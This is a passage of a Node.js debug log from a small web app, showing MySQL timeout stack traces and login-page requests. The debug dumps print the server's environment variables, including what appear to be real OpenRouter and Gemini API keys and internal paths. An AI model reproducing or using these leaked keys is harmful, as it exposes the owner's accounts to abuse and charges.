    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-12 23:52:43' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-13 00:02:43' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-13 00:02:43' as DATETIME)"
}
2026-04-13T04:40:39.544Z server-connect:router Serving templateView /
2026-04-13T04:40:39.545Z server-connect:app Executing action step identify
2026-04-13T04:40:39.545Z server-connect:app options: { provider: 'security' }
2026-04-13T04:40:39.545Z server-connect:auth No login cookie found
2026-04-13T04:40:39.545Z server-connect:output identity: false
2026-04-13T04:40:39.545Z server-connect:app Executing action step restrict
2026-04-13T04:40:39.545Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-13T04:40:39.546Z server-connect:output restrict: undefined
2026-04-13T04:40:39.575Z server-connect:router Serving templateView /login
2026-04-13T04:40:39.575Z server-connect:app Executing action step identify
2026-04-13T04:40:39.575Z server-connect:app options: { provider: 'security' }
2026-04-13T04:40:39.575Z server-connect:auth No login cookie found
2026-04-13T04:40:39.575Z server-connect:output identity: false
2026-04-13T04:40:39.575Z server-connect:router Render template layouts/authentication
2026-04-13T04:40:39.575Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'cf-worker': 'accaf2d1ydb5.workers.dev',
    'cf-ray': '9eb7cb3f382cdcbe-FRA',
    'cf-ew-via': '15',
    'cdn-loop': 'cloudflare; loops=1',
    'user-agent': 'Go-http-client/1.1',
    'accept-encoding': 'gzip,br',
    'x-forwarded-for': '172.71.148.62',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-14T04:40:39.574Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '172.71.148.62',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_CF_WORKER: 'accaf2d1ydb5.workers.dev',
    HTTP_CF_RAY: '9eb7cb3f382cdcbe-FRA',
    'HTTP_CF_EW-VIA': '15',
    HTTP_CDN_LOOP: 'cloudflare; loops=1',
    HTTP_USER_AGENT: 'Go-http-client/1.1',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    'HTTP_X_FORWARDED-FOR': '172.71.148.62',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-13 08:41:44' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-13 08:41:44' as DATETIME)"
}
2026-04-13T09:14:16.722Z server-connect:router Serving templateView /
2026-04-13T09:14:16.723Z server-connect:app Executing action step identify
2026-04-13T09:14:16.723Z server-connect:app options: { provider: 'security' }
2026-04-13T09:14:16.723Z server-connect:auth No login cookie found
2026-04-13T09:14:16.723Z server-connect:output identity: false
2026-04-13T09:14:16.723Z server-connect:app Executing action step restrict
2026-04-13T09:14:16.723Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-13T09:14:16.724Z server-connect:output restrict: undefined
2026-04-13T09:14:18.143Z server-connect:router Serving templateView /
2026-04-13T09:14:18.143Z server-connect:app Executing action step identify
2026-04-13T09:14:18.143Z server-connect:app options: { provider: 'security' }
2026-04-13T09:14:18.143Z server-connect:auth No login cookie found
2026-04-13T09:14:18.143Z server-connect:output identity: false
2026-04-13T09:14:18.143Z server-connect:app Executing action step restrict
2026-04-13T09:14:18.143Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-13T09:14:18.144Z server-connect:output restrict: undefined
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-13 09:33:44' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-13 09:33:44' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-13 10:47:44' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-13 10:47:44' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-13 11:43:44' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-13 11:43:44' as DATETIME)"
}
2026-04-13T12:18:07.056Z server-connect:router Serving templateView /
2026-04-13T12:18:07.058Z server-connect:app Executing action step identify
2026-04-13T12:18:07.058Z server-connect:app options: { provider: 'security' }
2026-04-13T12:18:07.058Z server-connect:auth No login cookie found
2026-04-13T12:18:07.058Z server-connect:output identity: false
2026-04-13T12:18:07.058Z server-connect:app Executing action step restrict
2026-04-13T12:18:07.058Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-13T12:18:07.059Z server-connect:output restrict: undefined
2026-04-13T12:18:07.099Z server-connect:router Serving templateView /login
2026-04-13T12:18:07.099Z server-connect:app Executing action step identify
2026-04-13T12:18:07.099Z server-connect:app options: { provider: 'security' }
2026-04-13T12:18:07.099Z server-connect:auth No login cookie found
2026-04-13T12:18:07.100Z server-connect:output identity: false
2026-04-13T12:18:07.100Z server-connect:router Render template layouts/authentication
2026-04-13T12:18:07.100Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    referer: 'https://www.ems.sanjaychaurasia.xyz/',
    'user-agent': 'Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '35.240.40.99',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-14T12:18:07.099Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '35.240.40.99',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_REFERER: 'https://www.ems.sanjaychaurasia.xyz/',
    HTTP_USER_AGENT: 'Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '35.240.40.99',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-04-13T12:29:01.007Z server-connect:router Serving templateView /
2026-04-13T12:29:01.007Z server-connect:app Executing action step identify
2026-04-13T12:29:01.007Z server-connect:app options: { provider: 'security' }
2026-04-13T12:29:01.007Z server-connect:auth No login cookie found
2026-04-13T12:29:01.007Z server-connect:output identity: false
2026-04-13T12:29:01.007Z server-connect:app Executing action step restrict
2026-04-13T12:29:01.007Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-13T12:29:01.008Z server-connect:output restrict: undefined
2026-04-13T12:29:01.172Z server-connect:router Serving templateView /login
2026-04-13T12:29:01.173Z server-connect:app Executing action step identify
2026-04-13T12:29:01.173Z server-connect:app options: { provider: 'security' }
2026-04-13T12:29:01.173Z server-connect:auth No login cookie found
2026-04-13T12:29:01.173Z server-connect:output identity: false
2026-04-13T12:29:01.173Z server-connect:router Render template layouts/authentication
2026-04-13T12:29:01.173Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)',
    referer: 'https://ems.sanjaychaurasia.xyz/',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '8.229.81.45',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-14T12:29:01.172Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '8.229.81.45',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '8.229.81.45',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-04-13T14:30:47.170Z server-connect:router Serving templateView /
2026-04-13T14:30:47.172Z server-connect:app Executing action step identify
2026-04-13T14:30:47.172Z server-connect:app options: { provider: 'security' }
2026-04-13T14:30:47.172Z server-connect:auth No login cookie found
2026-04-13T14:30:47.172Z server-connect:output identity: false
2026-04-13T14:30:47.172Z server-connect:app Executing action step restrict
2026-04-13T14:30:47.172Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-13T14:30:47.172Z server-connect:output restrict: undefined
2026-04-13T14:30:47.290Z server-connect:router Serving templateView /login
2026-04-13T14:30:47.292Z server-connect:app Executing action step identify
2026-04-13T14:30:47.292Z server-connect:app options: { provider: 'security' }
2026-04-13T14:30:47.292Z server-connect:auth No login cookie found
2026-04-13T14:30:47.292Z server-connect:output identity: false
2026-04-13T14:30:47.292Z server-connect:router Render template layouts/authentication
2026-04-13T14:30:47.293Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/138.0.0.0 Safari/537.36',
    accept: '*/*',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '44.209.43.227',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-14T14:30:47.290Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '44.209.43.227',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/138.0.0.0 Safari/537.36',
    HTTP_ACCEPT: '*/*',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '44.209.43.227',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-13 15:08:45' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-13 15:08:45' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-13 15:39:45' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-13 15:39:45' as DATETIME)"
}
2026-04-13T18:01:32.874Z server-connect:router Serving templateView /
2026-04-13T18:01:32.876Z server-connect:app Executing action step identify
2026-04-13T18:01:32.876Z server-connect:app options: { provider: 'security' }
2026-04-13T18:01:32.876Z server-connect:auth No login cookie found
2026-04-13T18:01:32.876Z server-connect:output identity: false
2026-04-13T18:01:32.876Z server-connect:app Executing action step restrict
2026-04-13T18:01:32.876Z server-connect:app options: {
  provider: 'security',
